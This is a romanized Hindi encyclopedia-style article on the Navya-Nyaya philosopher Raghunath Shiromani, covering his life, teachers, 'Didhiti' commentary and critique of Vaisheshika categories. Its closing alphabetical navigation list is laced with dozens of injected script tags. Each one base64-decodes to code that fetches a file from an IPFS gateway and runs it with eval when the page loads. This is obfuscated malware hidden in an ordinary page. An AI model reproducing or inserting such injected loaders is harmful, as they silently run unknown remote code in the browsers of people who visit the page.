रघुनाथ शिरोमणि

raghunath shiromani (janm- 1477 ee. - mrityu- 1557 ee.) ek maulik chintak aur prasiddh darshanik the. unhoanne anek granthoan ki rachana ki thi. unaki rachanaean mukhyat: tikaoan aur nibandhoan ke roop mean haian. gangeshopadhyay ke prasiddh granth 'tatvachiantamani' par unaki 'dighiti' namak tika sarvadhik mahattv ki mani jati hai, jisamean unhoanne gangesh ke siddhantoan ki alochanatmak vyakhya ki hai. unaka doosara prasiddh granth hai 'padarthatatvaniroopanamh' jo vaisheshik darshan se sanbandhit hai. is granth mean unhoanne vaisheshik padarth vyakhya par gahara prahar kiya hai aur usamean vyapak parivartan ke sujhav diye haian. uparyukt do granthoan ke alava raghunath shiromani ne prachin evan navin nyay ke anek granthoan par samikshatmak tikaean likhi haian, jinaka nyay ki parampara mean vishisht sthan hai.

jivan parichay

raghunath ka janm bangal ke nadiya (navadip) namak gram mean 1477 eesavi mean hua tha. vidyabhooshan ke anusar inaka samay 1477-1557 ee. hai. inake poorvaj mithila se asam mean gaye the. inake pita ka nam govind chakravarti aur mata ka nam sita devi tha. govind chakravarti ki alpayu mean hi mrityu ho jane ke karan inaki mata ne b de kasht ke sath inaka palan kiya. yatriyoan ke ek dal ke sath vah gangasnan karane ke lie navadvip pahuanchi. sanyogavash usane vasudev sarvabhaum ke ghar par ashray prapt kiya. vasudev se hi raghunath ko vidya prapt huee. bad mean raghunath ne mithila pahuanch kar pakshadhar mishr se nyay ka adhyayan kiya. raghunath sabhi vidyasthanoan mean daksh the. unhoanne apani shastrarthadhaureyata ke sanbandh mean jo kathan kiye, ve aj bhi vidvavarg mean charcha ke vishay bane rahate haian. raghunath ne anek granthoan ki rachana ki:-

padarth tattv niroopanam -vaisheshik darshan par rachit
udayan ke atmatattvavivek aur nyayakusumaanjali par tika
gangesh ki tattvachintamani par -dighiti namak tika ki.

raghunath shiromani ke guru

navyanyay ki parampara mean gangeshopadhyay ke bad raghunath shiromani ka hi sthan mana jata hai. gangey yadi navyanyay ke janak the to raghunath unake shreshthatam vyakhyata evan alochak the. vasudev sarvabhaum ke margadarshan mean raghunath ne nyayashastr ka adhyayan prarambh kiya. us samay navyanyas ke adhyayan ke lie mithila ki pathashalaoan ki deshabhar mean prasiddhi thi. visheshakar gangeshopadhyay ki 'tatvachiantamani' ka adhyayan mithila ke alava anyatr asanbhav tha. isalie nadiya mean apani shiksha poorn karane ke bad apane guru se anumati lekar raghunath mithila ge aur vahaan par tatkalin navyanyay ke moordhany vidvanh pakshadhar mishr ki pathashala mean pravesh prapt kiya. mithila mean apani shiksha poorn karane ke bad raghunath nadiya laut ge aur vahaan par unhoanne nyayashastr ki shiksha ke lie ek navin pathashala ki sthapana ki, jo age chalakar bharat bhar mean prasiddh huee.

darshanik siddhant

raghunath shiromani ne apane darshanik chintan mean gangesh dvara pranit pranali tantr ka prayog kiya. any batoan ke alava unhoanne do siddhantoan par vishesh bal diya. pratham siddhant tha ki darshanik chintan ko samany anubhav par adharit hona chahie. alaukik athava vyaktigat siddhantoan ko sarvalaukik anubhav ke viruddh nahian hona chahie. doosara siddhaant tha ki tatvamimaansa mean vibhinn tatvoan ko manyata dete samay laghav ke niyam ka dhyan rakhana chahie. anavashyak roop se tatvoan ko manyata dekar unaki sankhya badhana tarkik drishti se asamarthaniy hai. is siddhant ke dvara raghunath ka lakshy tatvadarshan mean padarthoan ki sankhya ko simit rakhana hai.

tatv-chintan

raghunath shiromani mukhyat: tarkashastri the. gangesh ki 'tatvachiantamani' par apani 'dighiti' namak tika mean unhoanne nyay ki praman-mimaansa ka sookshm vichar kiya hai aur gangesh ke siddhaantoan ko parishkrit evan parivardhit kiya hai. yahaan par ham raghunath ke tatv-chintan ka hi sankshep mean niroopan kareange, jo hamean unake sarvadhik maulik granth 'padarthatatvaniroopanamh' se prapt hota hai. is granth mean unhoanne vaisheshik tatv-darshan par gahara prahar kiya hai aur anek parivartanoan ke sujhav diye haian. vaisheshik mean sat padarth svikar kiye ge haian. jinamean vishv ke samast vastuoan ka aantarbhav mana gayaya hai. ye padarth haian- dravy, gun, karm (kriya) samany, vishesh, kramavay evan abhav. raghunath ke samay tak yah padarth- vyavastha nyay-vaisheshik parampara mean bina koee prashn uthaye svikar ki gee thi. itana hi nahian any darshanoan ki apattiyoan ke viruddh is vyavastha ki raksha bhi ki gee thi. raghunath ne hi sarvapratham nyay-vaisheshik parampara ke aandar se is padarth vyavastha ki alochana ki tatha anek parivartanoan ke sujhav die. yahaan par ham unake dvara die ge kuchh sujhavoan ka sankshep mean niroopan kareange.

vaisheshik darshan ke anusar tatv

vaisheshik darshan ke anusar dravy padarthoan ke aantargat nau tatvoan ka samavesh hota hai. ye tatv haian- prithvi, ap (jal), tejash (agni), vayu, akash, kal, dikh (desh), atma evan manash. inamean se pratham char ya to adrishy paramanu roop haian ya unake sanyog se bane hue sthool padarth haian. akash, kal, dikh evan atma vibhu (sarvavyapi) mane jate haian. atmatatv ke aantargat jivatma evan paramatma (eeshvar) donoan ka hi samavesh kiya gaya hai. manash aantarindriy hai, jisake dvara jivatma ki sukh-dukhadi aantarik avasthaoan ka jnan hota hai. is sambandh mean raghunath yah pratipadit karate haian ki akash, kal evan dikh ko eeshvar se bhinn tatv manana avashyak nahian hai. ve adrishy paramanuoan ki satta ko bhi asvikar kar dete haian. kyoanki unaka astitv anubhav dvara siddh nahian hai.

vaisheshik mat

vaisheshik mat ke anusar kal ek hi hai, parantu vibhinn upadhiyoan se avachchhinn (simit) hokar vah vibhinn kal khandoan mean vyavahrit hota hai. udaharanarth 'ghat is kal mean hai', is vaky mean ek hi sarvavyapi kal ghat roopi upadhi se avachhinn hokar khandakal (vartaman kal) ke roop mean vyavahrit hota hai. usi prakar 'ghat yahaan par hai', is vaky mean ek hi sarvavyapi desh ghat se avachhinn hokar pradesh vishesh ke roop mean vyavahrit hota hai. spasht hai ki vaisheshik matanusar desh evan kal ke khandoan ki vastavikata satta nahian hai. is sambandh mean raghunath shiromani tark karate haian ki yadi vibhinn upadhiyoan se avachchhinn hokar ek hi tatv vibhakt roop mean vyavahrit ho sakata hai to khand-kal evan khand desh ke vyavahar ke adhar ke roop mean kal evan desh roopi do bhinn vibhu tatvoan ko manane ki kya avashyakata hai. ek hi vibhu tatv donoan prakar ke vyavahar ka adhar ban sakata hai. at: desh tatha kal ko do bhinn tatv manane ke lie koee praman nahian hai. isi tark ko ek qadam aur age badhakar raghunath shiromani pratipadit karate haian ki desh tatha kal eeshvar se abhinn hai. hamare desh evan kal sambandhi vyavahar ek hi sarvavyapi eeshvar-tatv ke vibhinn upadhiyoan dvara avachchhinn hone ke karan sambhav hote haian. raghunath ke tark ka sar yah hai ki yadi ek hi eeshvar tatv ko manane se deshakal sambandhi hamare samast vyavahar sambhav ho sakate haian aur jagath ke nimittakaran ke roop mean eeshvar ko manana avashyak hai, to desh tatha kal roopi do atirikt vibhutatvoan ko manane ke lie koee tarkik adhar nahian hai. usi prakar vaisheshikoan dvara shabd ke ashray ke roop mean ek atirikt vibhutatv akash ko manana bhi tarkasangat nahian hai, kyoanki eeshvar jo ki shabd sahit sabhi karyoan ka samany roop se nimitt karan mana jata hai shabd ka ashray bhi mana ja sakata hai. spasht hai ki eeshvar se atirikt desh, kal tatha akash roopi vibhu dravyoan ko ashray karane mean raghunath laghav ke niyam ka prayog karate haian.

raghunath vaisheshikoan ke paramanuvad ko amany kar dete haian. vaisheshik matanusar sthool bhautik padarthoan ke mool avayav paramanu haian, jo avibhajy evan atindriy haian. is siddhant ke mool mean yah manyata hai ki sookshm se sookshm indriy-gochar bhautik padarth vibhajy hai aur is karan vah vibhajy hai aur is karan vah bhautik jagath ka mool avayav nahian ho sakata. raghunath is manyata ko asvikar kar dete haian, kyoanki isake lie koee tarkik adhar nahian hai. atindriy paramanu vaisheshikoan ki kalpana matr hai. unake astitv ke lie samany anubhav mean koee adhar nahian hai. raghunath ke anusar sab se sookshm indriy-gochar anu hi bhautik jagath ke mool avibhajy avayav haian. is prakar raghunath anuoan ko to svikar karate haian par vaisheshikoan ke atindriy paramanuoan ko amany kar dete haian. yahaan par raghunath ne samany anubhav ki kasauti ka prayog kiya hai.

vaisheshik padarth

vaisheshik padarth-vyavastha mean 'vishesh' ko atirikt padarth mana gaya hai aur isi karan is darshan ka nam 'vaisheshik' p da hai. is padarth ke paksh mean diya gaya tark yah hai ki bina isake nity-dravyoan (paramanu, akash, kal, dikh, atma) ka paraspar bhed sthapit nahian ho sakata. pratyek mahabhoot ke paramanu anant haian. usi prakar jivatma bhi anant hai. ek paramanu ka doosare paramanu se, ek jivatma ka doosare jivatma se bhed ka prayojak koee dharm hona chahie. desh, kal, aka, ityadi vibhudravyoan ka bhed bhi bina kisi adhar ke siddh nahian ho sakata. is prayojan ki poorti ke lie vaisheshik 'vishesh' padarth ko manyata dete haian. nity-dravy anant haian, isalie 'vishesh' bhi anant hai. vishesh nity dravyoan ke paraspar bhed hetu haian, parantu visheshoan ke paraspar bhed ke hetu koee any nahian ve svayan haian. aisa n manane par visheshoan ki anant parampara (anavastha) manani hogi, jo ek tarkik dosh hai. raghunath uparyukt siddhant ko amany kar dete haian. unaka tark hai ki yadi 'visheshoan' ka paraspar bhed unake svaroop mean hi nihit mana ja sakata hai to nity dravyoan ka paraspar bhed bhi unake svabhav ka hi aang mana ja sakata hai. pratyek nity dravy svaroopat: doosare se bhinn hai. is bhed ki siddhi ke lie 'vishesh' roopi atirikt padarth manana avashyak hai. yahaan par raghunath laghav ke niyam ka prayog karate haian.

katipay siddhant

vaisheshikoan ke katipay siddhantoan ki raghunath dvara ki gayi alochana ka sankshep mean niroopan kiya. inake atirikt aur bhi anek paramparagat vaisheshik siddhantoan ka unhoanne khandan kiya hai, jinamean 'satta ke samanyatatv', 'samavay sanbandh ke ekatv' tatha 'abhavabhav ke bhavatv' ke siddhant ullekhaniy hai. vaisheshik padarth-vyakhya tatha tatsanbandhi siddhantoan mean vyapak parivartan ki avashyakata pratipadit karane ke sath hi raghunath ne ath navin padarthoan ko manyata dene ka prastav kiya hai. ve padarth haian- kshan, svatv, shakti, karanatv, karyatv, sankhya, vaishishty evan vishayata. in sabhi padarthoan ke sanbandh mean raghunath ka mat hai ki inaka aantarbhav vaisheshikoan dvara many padarthoan mean nahian kiya ja sakata. samanyat: kshan ko kal ka sookshmatam bhag mana jata hai. parantu vaisheshik matanusar kal ek evan avibhajy hone ke karan kshan ko kal ka bhag nahian mana ja sakata. is karan ve kshan ko kriya ki avastha ke roop mean paribhashit karate haian. kisi bhi vastu ke ek sthan se doosare sthan par jane ki kriya se char avasthaoan ka bhed kiya ja sakata hai.

vah avastha jab kriya prarambh hone hi vali hai
poorvasthan se viyog ki avastha
doosare sthan se sanyog ke poorv ki avastha
doosare sthan se sanyog ki avastha. vaisheshikoan ke anusar ye charoan avasthaean kshan haian, jo kal ke vibhajan mean upadhi ka kary karate haian. raghunath is siddhant ko amany kar dete haian. unaka mukhy tark hai ki kriya ki uparyukt avasthaoan mean kriyatv hai par 'kshanatv' nahian hai aur is karan unake dvara kshan ki avadhanana utpann nahian ho sakati. kshan ki avadharana kshanatv-samany par isi prakar nirbhar hai, jis prakar gau ki avadharana gotv-samany par nirbhar hai. kshanatv kshan mean hi upalabdh ho sakata hai kriya mean nahian. at: kriya athava any kisi padarth mean kshan ka aantarbhav nahian kiya ja sakata. usako atirikt padarth manana avashyak hai.

vaisheshik darshan ki ek pramukh manyata hai ki bhinn jati ke karanoan se utpann kary paraspar bhinn hote haian. udaharanarth, agni vibhinn karanoan se utpann hoti hai-

sookhe trin tatha vayu ke sanyog se
lak diyoan ke paraspar gharshan se
mani ke madhyam se kendriy soory ki kiranoan se.

uparyukt tinoan karan bhinn jati ke haian. at: uparyukt manyatanusar unase utpann agni bhi paraspar bhinn hai. raghunath ki drishti mean yah siddhant anubhav viruddh hi nahian bojhil bhi hai. vibhinn karanoan se utpann agni mean koee bhed utpann nahian hota. at: yah avashyak nahian ki bhinn jati ke karanoan se utpann kary bhinn hi hoan. unake mat mean vibhinn karanoan mean ek hi shakti hoti hai, jis karan ve samarth hote haian. yah shakti atirikt padarth hai kyoanki isaka aantarbhav kisi any padarth mean nahian kiya ja sakata. isako man lene par anavashyak roop se karan bhed ke adhar par karyabhed nahian manana p dega. raghunath yahaan par laghav ke niyam ka prayog karate haian.

raghunath samavay sanbandh ke saman vaishishty-sanbandh ko bhi atirikt padarth manane par bal dete haian. vaisheshik darshan mean samavay sanbandh ka vishisht sthan hai. yah prithakh n ho sakane vale do vastuoan ke bich ka vishisht sanbandh hai, jinamean ek adhar tatha doosara adhey ke roop mean grihit hota hai. udaharanarth pushp sugandhit hai, gay chalati hai, mor ek pakshi hai, in pratitiyoan mean pushp evan sugandh, gay evan chalane ki kriya tatha mor evan pakshitv-jati ek doosare se prithakh nahian kie ja sakate aur inamean se pratyek mean pratham adhar tatha doosara adhey ke roop mean grihit hota hai. in pratitiyoan ke adhar ke roop mean vasvatik samavay sanbandh ko manana avashyak hai. raghunath ka tark hai ki jis prakar uparyukt prakar ki pratitiyoan ke adhar ke roop mean vastavik samavay sanbandh ko mana jata hai, usi prakar abhav se vishisht vastu ki pratiti ke hetu ke roop mean vaishishty sanbandh ko bhi manana avashyak hai. 'bhootal par jal nahian hai', is pratiti mean ghatabhav se vishisht bhital ka grahan hota hai isamean ghatabhav visheshan hai, bhoosal visheshy hai tatha in donoan ke bich ka sanbandh vashishty igrh yatharth pratiti mean grihit is sambandh ko yadi vastut: nahian mana jata to samavay sambandh ko varatusath manane ke lie bhi koee adhar n rah jayega. vaisheshik darshan mean 'vaishishty' ko svaroop sambandh mana gaya hai, arthath vah sambandhiyoan ke svaroop ka hi hai, unamean atirikt nahian jabaki samavay ko vastut: mana gaya hai. raghunath is prakar bhed karane ka koee karan nahian dekhate aur samavay ke saman hi aantarbhav any kisi padarth mean n ho sakane ke karan usako atirikt padarth manana avashyak hai.

alochana

raghunath shiromani dvara ki gee vaisheshik padarth vyavastha ki alochana tatha unake dvara pratipadit kuchh navin padarthoan ka sankshipt niroopan oopar kiya gaya. vaisheshik padarth vyavastha mean unake dvara kie ge sanshodhanoan tatha unake dvara pratipadit navin padarthoan ko nyay-vaisheshik parampara mean vishesh manyata prapt nahian huee. prachin padarth vyavastha ki, jisako gangeshopadhyay ne bhi svikar kiya tha, manyata bani rahi. is bat ki ashanka svayan raghunath ko bhi thi. isalie 'padarth-tatv niroopan' ke ant mean raghunath kahate haian ki unake dvara yatnapoorvak pratipadit anek padarth evan siddhant aise haian, jo any matoan se mel nahian khate. parantu keval isi karan unaki upeksha nahian ki jani chahie. unaka agrah hai ki suvijn pathakoanko un par savadhani se vichar karana chahie. bhale hi ek tatv chintak ke roop mean bharatiy darshan ki parampara mean raghunath ka vishesh samadar n hua ho, parantu ek moordhany tarkashastri ke roop mean unaka sthan nyay ki parampara mean akshunn bana rahega.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh 